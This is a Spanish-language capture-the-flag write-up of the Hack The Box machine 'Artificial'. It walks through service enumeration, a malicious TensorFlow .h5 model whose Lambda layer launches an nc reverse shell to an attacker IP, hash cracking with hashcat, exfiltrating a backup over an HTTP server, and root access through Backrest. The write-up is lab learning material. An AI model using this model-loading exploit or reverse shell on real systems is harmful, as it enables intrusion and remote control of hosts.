Artificial

Enumeración:
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: targeted
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # Nmap 7.95 scan initiated Sat Jun 21 21:02:51 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p22,80 -oN targeted 10.10.11.74
2 │ Nmap scan report for artificial.htb (10.10.11.74)
3 │ Host is up (0.78s latency).
4 │
5 │ PORT STATE SERVICE VERSION
6 │ 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
7 │ | ssh-hostkey:
8 │ | 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
9 │ | 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
10 │ |_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
11 │ 80/tcp open http nginx 1.18.0 (Ubuntu)
12 │ |_http-server-header: nginx/1.18.0 (Ubuntu)
13 │ |_http-title: Artificial - AI Solutions
14 │ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
15 │
16 │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17 │ # Nmap done at Sat Jun 21 21:03:14 2025 -- 1 IP address (1 host up) scanned in 23.41 seconds
Entramos por el puerto 80 y nos registramos:

TensorFlow 2.13.1
Al descargar el requirements se vio lo siguiente:

Este script está escrito en Python 3 y utiliza TensorFlow para crear un modelo simple que contiene un payload de reverse shell. Cuando el archivo
.h5
es cargado en el sistema, el modelo se ejecuta, activando la reverse shell.
Contenido del Dockerfile:
FROM python:3.8-slim
WORKDIR /code
RUN apt-get update && \
apt-get install -y curl && \
curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
ENTRYPOINT ["/bin/bash"]
Construir la imagen Docker: Una vez creado el Dockerfile
, ejecutaste el siguiente comando para construir la imagen:
docker build -t my-tf-image .
Ejecutar el contenedor: Iniciaste el contenedor con el siguiente comando:
docker run -it --name my-tf-container my-tf-image
Crear y ejecutar el exploit:
Script de Generación del Modelo Malicioso (
generate_exploit.py
): Creaste un script en Python que definÃa un modelo de TensorFlow con una capaLambda
que ejecutaba un comando malicioso (en este caso, el código para la reverse shell).
import tensorflow as tf
import os
def exploit(x):
os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.47 6666 >/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("/code/exploit.h5")
Generar el archivo exploit.h5
: Dentro del contenedor, ejecutaste el script para generar el archivo exploit.h5
que contiene el modelo malicioso:

Copiar el archivo al host y cargarlo en la web:
docker cp my-tf-container:/code/exploit.h5 /ruta/destino/exploit.h5
Escuchar la conexión reversa con nc
:
nc -lvnp 6666

Compruebe que existe un user.db
archivo de base de datos con una tabla de usuario

Intentamos crakear el hash de gael:
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8

Otra forma:

MD5

Entramos por ssh:

Subir privilegios:
Encontré pistas en /var
el directorio y encontré el archivo de respaldo.

Solo tengo permiso de lectura, asà que lo transferà a mi máquina local y encontré un hash de contraseña.
# Usar Python HTTP Server (si puedes mover el archivo a un directorio accesible)
cd /var/backups
python3 -m http.server 8080
wget http://10.10.11.74:8080/backrest_backup.tar.gz
tar -xvf backrest_backup.tar.gz
Entramos a ver los archivos:


Paso a paso: crackear passwordBcrypt
del config.json
JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP
Vamos a decodificarlo con:
echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbrutYP58EBZz/0QO
Continuar usando jhon:
Algoritmos Hashhashcat -a 0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt -O
La encontró:

Tenga en cuenta que el puerto de intranet 9898
está abierto y reenvÃelo.

Lo traemos a nuestra kali:

"name": "backrest_root",
"passwordBcrypt": JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVp = !@#$%^
Entramos con esas credenciales:

Luego puedes crear un repo y ejecutar el comando


Last updated